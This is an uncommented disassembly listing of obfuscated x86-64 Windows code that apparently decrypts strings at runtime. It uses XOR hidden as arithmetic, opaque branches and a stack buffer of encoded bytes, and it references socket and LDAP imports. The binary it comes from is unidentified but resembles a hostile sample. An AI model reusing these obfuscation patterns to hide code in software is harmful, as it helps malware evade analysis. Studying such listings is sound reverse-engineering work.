add dl, cl
add dl, r11b
jmp 0x1400b5d83
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400b5bbd
sub r10b, 0x70
movzx eax, r10b
and al, r11b
mov ecx, 8
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400b5ef1
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400b59b5
add r10b, 0x6e
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 2
jmp 0x1400b5e66
jne 0x1400b5c06
add r10b, 0x5d
movzx eax, r11b
and al, r10b
add al, al
movzx edx, r11b
sub dl, al
add dl, 0x75
add dl, r10b
jmp 0x1400b5e66
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400b5c2b
add r10b, 0x3b
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
add dl, 0x63
jmp 0x1400b5ef1
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400b596f
lea edx, [r10 + 1]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 7
add dl, cl
jmp 0x1400b5d83
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400b5c8a
add r10b, 0x7c
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 0x64
movzx eax, byte [rbp + rbx + 0x3b8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400b54c2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400b5caf
lea edx, [r10 + 8]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x38
add dl, cl
jmp 0x1400b5d83
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400b5cde
add r10b, 0x20
movzx eax, r11b
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
dec rbx
inc rbx
jmp 0x1400b54c2
lea rax, [r9 + 8]
cmp r8, rax
jne 0x1400b5930
sub r10b, 0x54
movzx eax, r11b
and al, r10b
mov ecx, Ordinal_41
sub cl, al
lea edx, [rcx + rcx]
add dl, r11b
add dl, r10b
jmp 0x1400b5e66
add r10b, 0x38
movzx eax, r11b
and al, r10b
movzx ecx, r11b
sub cl, al
add cl, 0x3c
lea edx, [rcx + rcx]
add dl, r10b
jmp 0x1400b5ecc
lea edx, [r10 - 2]
movzx eax, r11b
and al, dl
mov ecx, 7
sub cl, al
add cl, cl
add dl, cl
jmp 0x1400b5d83
add r10b, 0x15
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x6d
movzx eax, byte [rbp + rbx + 0x3b8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400b54c2
lea ecx, [r10 - 0x77]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x41
add r10b, 0x61
movzx eax, r11b
and al, r10b
add al, al
movzx ecx, r11b
sub cl, al
add cl, 0x59
add cl, r10b
movzx eax, cl
mov byte [rbp + rbx + 0x3b8], al
inc r9
add rax, r9
sub rbx, rax
lea ecx, [rbx - 0x3c]
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x5c
add r11b, cl
mov byte [rbp + rbx + 0x3b8], r11b
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x3b8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400b54c2
sub r10b, 0x3d
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x55
jmp 0x1400b5ef1
sub r10b, 3
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x15
jmp 0x1400b5eee
sub r10b, 0x55
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x53
inc r9
dec rbx
inc rbx
jmp 0x1400b54c2
sub r10b, 0x1b
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x43
sub dil, 0x2b
movzx eax, r11b
and al, dil
add al, al
sub r11b, al
add r11b, 0x2d
add r11b, dil
mov byte [rbp + rbx + 0x3b8], r11b
inc r9
dec rbx
inc rbx
jmp 0x1400b54c2
sub dil, 0x6d
movzx eax, dil
and al, r11b
add al, al
sub dil, al
lea edx, [r11 + rdi]
sub dl, 5
inc r9
dec rbx
inc rbx
jmp 0x1400b54c2
lea ecx, [rdi + 7]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x31
sub dil, 0x65
movzx eax, r11b
and al, dil
add al, al
sub r11b, al
sub r11b, 0x3d
add r11b, dl
add r11b, dil
mov byte [rbp + rbx + 0x3b8], r11b
add r8, r9
movzx eax, dl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400b54c2
lea rax, [rbx + r15]
and sil, al
add sil, sil
sub r11b, sil
lea edx, [rax + r11]
sub dl, 0x1f
movzx eax, byte [rbp + rbx + 0x3b8]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400b54c2
add r10b, 0x6f
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
sub dl, 9
jmp 0x1400b54c0
sub r10b, 0x57
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
add dl, 0x61
jmp 0x1400b54b0
lea rsi, [rbp + 0x140863c]
jmp 0x1400b5f84
lea rsi, [rbp + 0x138b69f]
jmp 0x1400b5f84
lea rsi, [rbp + 0x3b8]
mov byte [rbp + 0x6c0], 0xe4
mov byte [rbp + 0x6c1], 0xc9
mov byte [rbp + 0x6c2], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x6c3], Ordinal_211
mov byte [rbp + 0x6c4], Ordinal_211
mov byte [rbp + 0x6c5], Ordinal_200
mov byte [rbp + 0x6c6], reloc.WLDAP32.dll_Ordinal_22
mov byte [rbp + 0x6c7], Ordinal_211
mov byte [rbp + 0x6c8], gethostname
mov byte [rbp + 0x6c9], Ordinal_60
mov byte [rbp + 0x6ca], 0xea
mov byte [rbp + 0x6cb], 0x3e
mov byte [rbp + 0x6cc], 0x3f
mov byte [rbp + 0x6cd], gethostname
mov byte [rbp + 0x6ce], Ordinal_50
mov byte [rbp + 0x6cf], Ordinal_45
mov byte [rbp + 0x6d0], 0xe0
mov byte [rbp + 0x6d1], Ordinal_35
mov byte [rbp + 0x6d2], Ordinal_45
mov byte [rbp + 0x6d3], Ordinal_79
mov byte [rbp + 0x6d4], Ordinal_50
mov byte [rbp + 0x6d5], gethostname
mov byte [rbp + 0x6d6], 0xe6
mov byte [rbp + 0x6d7], 2
mov byte [rbp + 0x6d8], 0x50
mov byte [rbp + 0x6d9], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0x6da], 0x3f
mov byte [rbp + 0x6db], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0x6dc], Ordinal_35
mov byte [rbp + 0x6dd], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0x6de], Ordinal_35
mov byte [rbp + 0x6df], Ordinal_200
mov byte [rbp + 0x6e0], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0x6e1], reloc.WLDAP32.dll_Ordinal_35
mov byte [rbp + 0x6e2], gethostname
mov byte [rbp + 0x6e3], 0xf3
mov byte [rbp + 0x6e4], 0x5d
mov byte [rbp + 0x6e5], Ordinal_45
mov byte [rbp + 0x6e6], reloc.WLDAP32.dll_Ordinal_35
mov byte [rbp + 0x6e7], 0xf7
mov byte [rbp + 0x6e8], recv
mov byte [rbp + 0x6e9], Ordinal_30
mov byte [rbp + 0x6ea], Ordinal_30
mov byte [rbp + 0x6eb], Ordinal_30
mov byte [rbp + 0x6ec], 9
mov byte [rbp + 0x6ed], reloc.WS2_32.dll_send
mov byte [rbp + 0x6ee], reloc.WLDAP32.dll_Ordinal_26
mov byte [rbp + 0x6ef], reloc.WS2_32.dll_send
mov byte [rbp + 0x6f0], WSAGetLastError
mov byte [rbp + 0x6f1], 0xc1
mov byte [rbp + 0x6f2], reloc.WS2_32.dll_socket
mov byte [rbp + 0x6f3], reloc.WS2_32.dll_recv
mov byte [rbp + 0x6f4], Ordinal_30
mov byte [rbp + 0x6f5], reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp + 0x6f6], 1
mov byte [rbp + 0x6f7], Ordinal_200
mov byte [rbp + 0x6f8], Ordinal_30
mov byte [rbp + 0x6f9], 7
mov byte [rbp + 0x6fa], 0xda
mov byte [rbp + 0x6fb], reloc.WLDAP32.dll_Ordinal_26
mov byte [rbp + 0x6fc], 0
mov byte [rbp + 0x6fd], 9
mov byte [rbp + 0x6fe], reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp + 0x6ff], reloc.WS2_32.dll_listen
mov byte [rbp + 0x700], recv
mov byte [rbp + 0x701], reloc.WS2_32.dll_recv
mov byte [rbp + 0x702], 6
mov byte [rbp + 0x703], reloc.WLDAP32.dll_Ordinal_22
mov byte [rbp + 0x704], Ordinal_217
mov byte [rbp + 0x705], reloc.WS2_32.dll_sendto
mov byte [rbp + 0x706], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0x707], reloc.WS2_32.dll_sendto
mov byte [rbp + 0x708], 0x77
mov byte [rbp + 0x709], 0x7c
mov byte [rbp + 0x70a], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x70b], 0x7f
mov byte [rbp + 0x70c], 0x43
mov byte [rbp + 0x70d], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0x70e], Ordinal_79
mov byte [rbp + 0x70f], 7
mov byte [rbp + 0x710], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x711], 0x64
mov byte [rbp + 0x712], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x713], 0x7d
mov byte [rbp + 0x714], 0x65
mov byte [rbp + 0x715], 0x79
mov byte [rbp + 0x716], 0xa6
mov byte [rbp + 0x717], 0x42
mov byte [rbp + 0x718], reloc.WS2_32.dll_recv
mov byte [rbp + 0x719], WSAGetLastError
mov byte [rbp + 0x71a], 0x66
mov byte [rbp + 0x71b], 0x64
mov byte [rbp + 0x71c], 0x65
mov byte [rbp + 0x71d], WSAGetLastError
mov byte [rbp + 0x71e], WSASetLastError
mov byte [rbp + 0x71f], 0xbf
mov byte [rbp + 0x720], WSACleanup
mov byte [rbp + 0x721], 0x63
mov byte [rbp + 0x722], 0x77
mov byte [rbp + 0x723], 0xb3
mov byte [rbp + 0x724], WSAGetLastError
mov byte [rbp + 0x725], 0x60
mov byte [rbp + 0x726], 0x75
mov byte [rbp + 0x727], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x728], 0x88
mov byte [rbp + 0x729], 0x5b
mov byte [rbp + 0x72a], 0x53
mov byte [rbp + 0x72b], 0x58
mov byte [rbp + 0x72c], 0x57
mov byte [rbp + 0x72d], 0x54
mov byte [rbp + 0x72e], Ordinal_79
mov byte [rbp + 0x72f], 0x5d
mov byte [rbp + 0x730], 0x80
mov byte [rbp + 0x731], 0x47
mov byte [rbp + 0x732], 0x5d
mov byte [rbp + 0x733], 0x51
mov byte [rbp + 0x734], 0x84
mov byte [rbp + 0x735], 0x47
mov byte [rbp + 0x736], 0x47
mov byte [rbp + 0x737], 0x59
mov byte [rbp + 0x738], Ordinal_79
mov byte [rbp + 0x739], 0x99
mov byte [rbp + 0x73a], Ordinal_79
mov byte [rbp + 0x73b], 0x43
mov byte [rbp + 0x73c], 0x59
mov byte [rbp + 0x73d], 0x43
mov byte [rbp + 0x73e], 0x9e
mov byte [rbp + 0x73f], 0x5c
mov byte [rbp + 0x740], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x741], Ordinal_79
mov byte [rbp + 0x742], 0x42
mov byte [rbp + 0x743], 0x52
mov byte [rbp + 0x744], 0x46
mov byte [rbp + 0x745], 0x50
mov byte [rbp + 0x746], 0x52
mov byte [rbp + 0x747], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0x748], 0xbc
mov byte [rbp + 0x749], 0xb6
mov byte [rbp + 0x74a], WSASetLastError
mov byte [rbp + 0x74b], Ordinal_143
mov byte [rbp + 0x74c], __WSAFDIsSet
mov byte [rbp + 0x74d], WSASetLastError
mov byte [rbp + 0x74e], 0xad
mov byte [rbp + 0x74f], 0xb7
mov byte [rbp + 0x750], 0xa5
mov byte [rbp + 0x751], 0xa0
mov byte [rbp + 0x752], 0xb6
mov byte [rbp + 0x753], 0xb0
mov byte [rbp + 0x754], 0x64
mov byte [rbp + 0x755], 0xb9
mov byte [rbp + 0x756], 0xbf
mov byte [rbp + 0x757], 0xbc
mov byte [rbp + 0x758], 0xbd
mov byte [rbp + 0x759], 0x79
mov byte [rbp + 0x75a], 0x84
mov byte [rbp + 0x75b], 0xbe
mov byte [rbp + 0x75c], Ordinal_217
mov byte [rbp + 0x75d], 0xa8
mov byte [rbp + 0x75e], 0xac
mov byte [rbp + 0x75f], 0x7f
mov byte [rbp + 0x760], __WSAFDIsSet
mov byte [rbp + 0x761], 0x88
mov byte [rbp + 0x762], WSACleanup
mov byte [rbp + 0x763], 0x85
mov byte [rbp + 0x764], 0x66
mov byte [rbp + 0x765], WSASetLastError
mov byte [rbp + 0x766], 0x56
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x767], xmm0
mov qword [rbp + 0x777], rax
mov dword [rbp + 0x77f], eax
movabs r14, 0x79de9c9d1a3713f8
movabs r12, 0x5516484bb7818bc8
movabs r15, 0x6d9bd5d74ea53be8
movzx edx, byte [rsp + 0x30]
nop dword [rax]
nop word [rax + rax]
mov r8, qword [0x14022e4a8]
mov r9, qword [0x14022e4a0]
nop
xor ebx, ebx
cmp rbx, 0xc3
jae 0x1400b701a
movzx r11d, byte [rbp + rbx + 0x6c0]
mov edi, r11d
nop dword [rax + rax]
cmp r8, rbx
ja 0x1400b7011
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400b64bb
lea rcx, [rbx + r14]
mov rax, rdi
and rax, rcx
imul rdx, rax, 0xfffffffffffffffe
add rdx, rdi
add rdx, rcx
add dl, 0x38
jmp 0x1400b64f5
je 0x1400b6fa2
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400b6f1b
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400b6ee9
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400b6eac
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400b6e63
movzx r10d, bl
nop dword [rax]
cmp r9, rbx
ja 0x1400b7008
lea rax, [r9 + 0x28]
cmp r8, rax
jae 0x1400b6529
lea ecx, [r10 + 0x58]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x68
jmp 0x1400b6570
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400b6e58
inc rax
cmp r8, rax
je 0x1400b6e2f
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400b6e13
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400b6df3
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400b6dc6
nop dword [rax]
lea rax, [r8 + r9]
cmp rax, rbx
jbe 0x1400b6aa4
nop dword [rax]
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400b6a96
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400b6a71
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x1400b6a4f
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x1400b6a32
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400b6a16
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x1400b69f6
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x1400b69dc
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x1400b69bc
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400b698f
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1400b6580
lea r8, [r9 + 0x40]
lea r9, [r8 + 0x61]
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x1400b6fec
lea rax, [r9 + 2]
cmp r8, rax
jb 0x1400b6fcc
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x1400b6768
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x1400b674e
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x1400b6731
lea rax, [r9 + 5]
cmp r8, rax
jb 0x1400b6949
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x1400b6903
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x1400b68cb
lea rax, [r9 + 1]
cmp r8, rax
jb 0x1400b68a1
lea rax, [r9 + 9]
cmp r8, rax
jb 0x1400b6580
lea r8, [r9 + 8]
lea r9, [r8 + 0x64]
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x1400b6870
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x1400b6854
lea rax, [r9 + 3]
cmp r8, rax
ja 0x1400b6837
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x1400b681b
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x1400b6806
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x1400b67e9
lea rax, [r9 + 6]
cmp r8, rax
ja 0x1400b67c7
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x1400b679e
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x1400b6784
lea rax, [r9 + 2]
cmp r8, rax
ja 0x1400b6580
lea r8, [r9 + 1]
lea r9, [r8 + 0xa]
jmp 0x1400b6580
lea edx, [r10 - 0x58]
movzx eax, dl
and al, r11b
mov ecx, 0x34
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400b6570
lea ecx, [r10 - 0x48]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 8
jmp 0x1400b6500
sub r10b, 0x38
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x78
jmp 0x1400b6490
lea ecx, [r10 - 0x40]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x40
jmp 0x1400b6e7f
sub r10b, 0x30
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
inc r9
dec rbx
inc rbx
jmp 0x1400b6472
sub r10b, 0x20
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x20
dec rbx
inc rbx
jmp 0x1400b6472
lea edx, [r10 - 0x10]
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400b6ec5
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edx, [r10 + r11]
jmp 0x1400b6f00
add r10b, 0x10
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x70
jmp 0x1400b6f03
lea edx, [r10 + 0x20]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400b6f35
add r10b, 0x30
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x50
jmp 0x1400b6f62
add r10b, 0x40
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
movzx eax, byte [rbp + rbx + 0x6c0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400b6472
add r10b, 0x68
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
mov byte [rbp + rbx + 0x6c0], dl
inc rbx
jmp 0x1400b6472
lea ecx, [r10 + 0x78]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x48
cmp r9, 8
jb 0x1400b68bc
lea ecx, [r10 - 0x30]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, r11b
lea edx, [rcx*2 - 0x60]
jmp 0x1400b6e7f
lea edx, [r10 - 0x78]
movzx eax, dl
and al, r11b
mov ecx, 0x24
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
cmp r8, 0x40
jae 0x1400b6d91
lea rax, [r9 + 0x28]
cmp r8, rax
jbe 0x1400b6cc3
lea ecx, [r10 + 0x70]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x10
jmp 0x1400b68e0
lea ecx, [r10 - 0x68]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x28
lea rax, [r8 + r9]
cmp rax, 0x400
je 0x1400b6dae
lea rax, [r9 + 0x3e8]
cmp r8, rax
jbe 0x1400b6ba8
lea edx, [r10 + 0x18]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_45
jmp 0x1400b6912
add r10b, 0x10
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x70
movzx eax, byte [rbp + rbx + 0x6c0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400b6472
add r10b, 0x20
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400b6f62
lea ecx, [r10 + 0x30]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x50
jmp 0x1400b6f35
add r10b, 0x40
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400b6f03
add r10b, 0x50
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x30
jmp 0x1400b6f00
lea edx, [r10 + 0x60]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400b6ec5
add r10b, 0x70
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x10
dec rbx
inc rbx
jmp 0x1400b6472
add r10b, 0x80
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x80
inc r9
dec rbx
inc rbx
jmp 0x1400b6472
lea edx, [r10 - 0x70]
mov ecx, 8
jmp 0x1400b6e70
lea rax, [r9 + 8]
cmp r8, rax
jae 0x1400b6aca
lea edx, [r10 - 8]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_30
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400b695e
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400b6b04
sub r10b, 0x50
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_26
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
movzx eax, byte [rbp + rbx + 0x6c0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400b6472
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400b6b2a
lea edx, [r10 - 0x70]
movzx eax, dl
and al, r11b
mov ecx, 8
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400b6f35
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400b6b4f
add r10b, 0x80
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x80
jmp 0x1400b6f03
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400b6b81
add r10b, 0x40
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
inc r9
dec rbx
inc rbx
jmp 0x1400b6472
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400b695e
lea ecx, [r10 + 0x30]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x50
jmp 0x1400b6e7f
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400b6bcb
lea ecx, [r10 + 8]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x38
jmp 0x1400b6e7f
inc rax
cmp r8, rax
jne 0x1400b6bf0
lea edx, [r10 - 0x28]
movzx eax, dl
and al, r11b
mov ecx, recv
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400b6ec5
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400b6c15
sub r10b, 0x38
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x78
jmp 0x1400b6f00
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400b6c3a
sub r10b, 0x48
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 8
jmp 0x1400b6f03
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400b6c60
lea edx, [r10 - 0x58]
movzx eax, dl
and al, r11b
mov ecx, 0x34
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x1400b6f35
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400b6c85
sub r10b, 0x68
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x28
jmp 0x1400b6f62
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400b691b
sub r10b, 0x78
movzx eax, r10b
and al, r11b
mov ecx, 0x24
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
movzx eax, byte [rbp + rbx + 0x6c0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400b6472
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400b6cfd
add r10b, 0x60
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
movzx eax, byte [rbp + rbx + 0x6c0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400b6472
inc rax
cmp r8, rax
jne 0x1400b6d21
add r10b, 0x50
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x30
jmp 0x1400b6f62
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400b6d47
add r10b, 0x20
movzx eax, r10b
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
jmp 0x1400b6efd
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400b6d6a
lea ecx, [r10 + 0x10]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x70
jmp 0x1400b6ec5
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400b68e0
lea ecx, [r10 - 0x20]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x20
jmp 0x1400b6e7f
lea ecx, [r10 - 0x40]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x40
add dl, r11b
jmp 0x1400b6ec5
lea edx, [r10 - 0x50]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_26
sub cl, al
add cl, cl
jmp 0x1400b6f33
sub r10b, 0x38
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x78
movzx eax, byte [rbp + rbx + 0x6c0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400b6472
sub r10b, 8
movzx eax, r10b
and al, r11b
mov ecx, Ordinal_30
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
jmp 0x1400b6f03
add r10b, 8
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x38
jmp 0x1400b6f00
add r10b, 0x38
movzx eax, r10b
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea edx, [rcx + rcx]
add dl, r10b
add dl, r11b
inc r9
dec rbx
inc rbx
jmp 0x1400b6472
lea edx, [r10 + 0x48]
mov ecx, 4
jmp 0x1400b6e70
movzx r10d, bl
lea edx, [r10 + 0x68]
mov ecx, reloc.WS2_32.dll_sendto
movzx eax, dl
and al, r11b
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
sub r10b, 0x38
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
sub r11b, 0x78
add r11b, r10b
mov byte [rbp + rbx + 0x6c0], r11b
inc r9
dec rbx
inc rbx
jmp 0x1400b6472
movzx r10d, bl
lea ecx, [r10 - 0x68]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x28
sub r10b, 0x48
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
sub r11b, 8
add r11b, dl
add r11b, r10b
mov byte [rbp + rbx + 0x6c0], r11b
jmp 0x1400b6f00
lea edx, [rbx - 0x58]
movzx eax, dl
and al, r11b
mov ecx, 0x34
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
add r8, r9
movzx eax, dl
mov rcx, 0xffffffffffffffff
sub rcx, rax
